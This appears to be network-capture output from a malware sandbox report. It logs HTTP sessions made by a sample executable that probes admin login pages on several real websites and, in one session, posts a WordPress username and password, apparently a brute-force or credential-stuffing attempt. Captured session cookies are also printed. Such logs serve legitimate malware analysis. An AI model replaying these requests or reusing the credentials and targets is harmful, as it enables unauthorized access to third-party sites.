2023-11-26 05:59:44 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 32 2e 38 34 2d 33 34 2e 35 31 20 37 32 2e 34 35 2d 31 2e 34 32 20 31 2e 34 35 2d 32 2e 38 37 20 32 2e 38 39 2d 34 2e 33 35 20 34 2e 33 34 2d 31 39 2e 36 2d 31 36 2e 34 32 2d 34 32 2e 34 31 2d 33 32 2e 33 36 2d 36 37 2e 34 38 2d 34 37 2e 31 39 7a 22 2f 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 34 35 30 22 20 72 3d 22 32 35 22 2f 3e 3c 2f 67 3e 3c 2f 73 79 6d 62 6f 6c 3e 3c 73 79 6d 62 6f 6c 20 69 64 3d 22 74 77 69 74 74 65 72 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2e 39 35 34 20 34 2e 35 36 39 61 31 30 20 31 30 20 30 20 30 20 31 2d 32 2e 38 32 35 2e 37 37 35 20 34 2e 39 35 38 20 34 2e 39 35 38 20 30 20 30 20 30 20 32 2e 31 36 33 2d 32 2e 37 32 33 63 2d Data Ascii: 3FC02.84-34.51 72.45-1.42 1.45-2.87 2.89-4.35 4.34-19.6-16.42-42.41-32.36-67.48-47.19z"/><circle cx="501" cy="450" r="25"/></g></symbol><symbol id="twitter" viewBox="0 0 24 24"><path d="M23.954 4.569a10 10 0 0 1-2.825.775 4.958 4.958 0 0 0 2.163-2.723c-
2023-11-26 05:59:44 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 6f 72 20 75 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 73 61 66 65 74 79 2f 69 6e 2d 63 61 73 65 2d 6f 66 2d 65 6d 65 72 67 65 6e 63 79 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 49 6e 20 63 61 73 65 20 6f 66 20 65 6d 65 72 67 65 6e 63 79 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d Data Ascii: 3FC0or users</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-3'><a href="https://www.maxiv.lu.se/user-access/safety/in-case-of-emergency/" class="menu-item-label">In case of emergency</a></li><li class='menu-item m
2023-11-26 05:59:44 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 62 6c 6f 63 68 2f 75 73 65 72 2d 69 6e 66 Data Ascii: 3FC0rue"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/bloch/user-inf
2023-11-26 05:59:45 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 66 6c 65 78 70 65 73 2f 62 65 61 6d 6c 69 6e 65 2d 6f 70 74 69 63 73 2f 78 2d 72 61 79 2d 73 6f 75 72 63 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 58 2d 72 61 79 20 73 6f 75 72 63 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 Data Ascii: 3FB8u.se/beamlines-accelerators/beamlines/flexpes/beamline-optics/x-ray-source/" class="menu-item-label">X-ray source</a></li></ul></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="htt
2023-11-26 05:59:45 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 50 6f 73 74 20 62 65 61 6d 74 69 6d 65 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c Data Ascii: 3FC0 class="menu-item-label">Post beamtime</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler d-none minus-icon" aria-hidden="true"><
2023-11-26 05:59:45 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 6c 61 62 73 2f 73 63 61 6e 6e 69 6e 67 2d 74 75 6e 6e 65 6c 69 6e 67 2d 6d 69 63 72 6f 73 63 6f 70 65 2f 73 74 6d 2d 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 2f 73 63 61 6e 6e 69 6e 67 2d 70 72 6f 62 65 2d 6d 69 63 72 6f 73 63 6f 70 65 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 4d 69 63 72 6f 73 63 6f 70 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 36 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 Data Ascii: 3FC0labs/scanning-tunneling-microscope/stm-experimental-station/scanning-probe-microscope/" class="menu-item-label">Microscope</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-6'><a href="https://www.maxiv.lu.se/bea
2023-11-26 05:59:45 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 63 6f 6e 74 72 6f 6c 73 2d 69 74 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 43 6f 6e 74 72 6f 6c 73 20 26 23 30 33 38 3b 20 49 54 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d Data Ascii: 3FC0xiv.lu.se/beamlines-accelerators/controls-it/" class="menu-item-label">Controls & IT</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon subm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	50469	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	167	OUT	GET /pma/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	623	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 70 6d 61 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/pmaCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url"
2023-11-26 05:59:44 UTC	414	IN	Data Raw: 31 39 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:44 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	50570	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	401	OUT	POST /wp-login.php?wpe-login=true HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=dab896062cb0564a47230c1071235746 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://tiswheels.com/wp-login.php Content-Length: 139 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:43 UTC	139	OUT	Data Raw: 6c 6f 67 3d 68 68 25 34 30 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 26 70 77 64 3d 30 39 38 70 6f 69 30 39 38 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=hh%40tiswheels.com&pwd=098poi098&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftiswheels.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:44 UTC	523	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP Engine
2023-11-26 05:59:44 UTC	6705	IN	Data Raw: 31 61 32 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 Data Ascii: 1a24<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	50488	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	1272	OUT	GET /admin HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6IkRGblFZYmpUVTZaZXRlak41aDlickE9PSIsInZhbHVlIjoicDZZcjdvK2hoOHJhUmp5VXBPRmJnOXQxRDJkRXdNZnVUaUlZUWZNajY4Vlo5WUNZTG1ISDdVT1cwb1N4S0Y2MHZZU3hwODdRWDZWNjBFa251cXl2MGgvSFp3UEl6ZzNUME82N3Y1MVY5MGU5MmIyTWdKWDNNNXhMdGhMQ0RnRjAiLCJtYWMiOiI3N2M0YTFhMGY2YTc5NDgzMTIxNTNkZTA1YjY5Njk5YWJhYTE2Mzc4YzM5ODg5OWY1ZTNmYzNjYmI2NzQ3NDA5IiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6Ii9HaFdPWjhha0p0ZmprRks4OFhJMnc9PSIsInZhbHVlIjoiaWRxOTdEeUg5dVJqRHVtQ0g1R3VNUWJwSDFiZUkzMWNMUWQ3ZWU5bFNpS0t4Q0ViWExvRUJDamxtNkNwaVp1V205NHVvVlJlQUVRdVVsUzJEWEFwbnk3UzBtSHZscmc5UWZ4dkpxS1grRUY0WHAyQ1ZqZkRsOTNWakxwd21DZVMiLCJtYWMiOiI5ZmIxZGJiZmFiZjJlMzZjYTVjN2ZiODE0ZmMyZDlkNTQzNmFkMWRlOGI0YjBmMDhkOWZjNGNlZmZiMmI3ZjgzIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IjUxMTZseFR4OVdFOURpd3BzcUZ1TFE9PSIsInZhbHVlIjoiT1VlNmdtbmVOaityUVE0UzY3Qjh6TFUyeVEzUzBaL29ldUs3ZjBFbC9iV3FHdG9JQmlQampzeUdwOVg4Zk5vYytQdXJTd0dGK1M1ZVZ3MzFBVHRRRE0rMDFIbWZwaHVveEMrQXB4TTlvVjJIRTE2LytvdkZHNStHb0RTanAwajciLCJtYWMiOiI2ODUzMmM0MDU0YzY4ZjJlMzBjMjUwNTFjMjYyN2E2Y2Q4Y2Y5ODk4Y2QxYjIxNTVkYjExOTE2NzRmZDUyNWViIiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	1130	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:44 GMTLocation: https://www.gatewaytoearlylearning.com/adminSet-Cookie: publishedsi
2023-11-26 05:59:44 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 78 68 52 55 74 53 59 32 46 33 4c 30 52 4a 56 30 68 48 4e 30 4e 74 55 44 4a 33 65 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 6e 4e 76 61 30 39 53 51 56 42 68 61 53 74 6a 56 47 30 34 4f 47 67 78 5a 6e 4e 4e 4d 48 42 69 57 56 4e 77 64 30 74 49 5a 7a 64 75 52 30 5a 58 59 54 67 33 62 6d 74 4e 54 30 39 68 53 44 64 77 56 45 64 43 62 6d 46 57 63 57 64 4e 59 58 52 76 56 6b 64 6a 52 45 5a 6e 53 45 70 78 4c 30 31 45 5a 57 55 76 63 56 42 42 63 6b 70 48 4e 55 78 54 5a 58 4a 6c 53 58 55 79 65 55 6b 30 57 6a 46 4a 55 30 4e 31 4e 6b 64 50 52 54 42 53 63 7a 46 59 56 32 46 69 55 32 34 79 51 6c 42 69 63 6e 4d 35 4f 45 31 42 4e 48 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IkxhRUtSY2F3L0RJV0hHN0NtUDJ3eWc9PSIsInZhbHVlIjoidnNva09SQVBhaStjVG04OGgxZnNNMHBiWVNwd0tIZzduR0ZXYTg3bmtNT09hSDdwVEdCbmFWcWdNYXRvVkdjREZnSEpxL01EZWUvcVBBckpHNUxTZXJlSXUyeUk0WjFJU0N1NkdPRTBSczFYV2FiU24yQlBicnM5OE1BNH
2023-11-26 05:59:44 UTC	434	IN	Data Raw: 31 61 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 3c 2f 74 69 74 6c 65 Data Ascii: 1a6<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/admin'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/admin</title

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	49871	116.202.203.176	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	565	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 34 39 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=utf-8Content-Length: 13491Connection: closeX-Frame-Options: SAMEORIGINExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache,
2023-11-26 05:59:44 UTC	13491	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 41 4b 20 48 4c 57 20 4c 61 6e 64 65 63 6b 2c 20 57 65 62 73 69 74 65 20 64 65 72 20 48 61 6e 64 65 6c 73 61 6b 61 64 65 6d 69 65 2c 20 64 65 72 20 4d 65 64 69 61 68 61 6b 20 4c 61 6e 64 65 63 6b 20 75 6e 64 Data Ascii: <!DOCTYPE html><html lang="de-de" dir="ltr"><head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="HAK HLW Landeck, Website der Handelsakademie, der Mediahak Landeck und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	50493	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
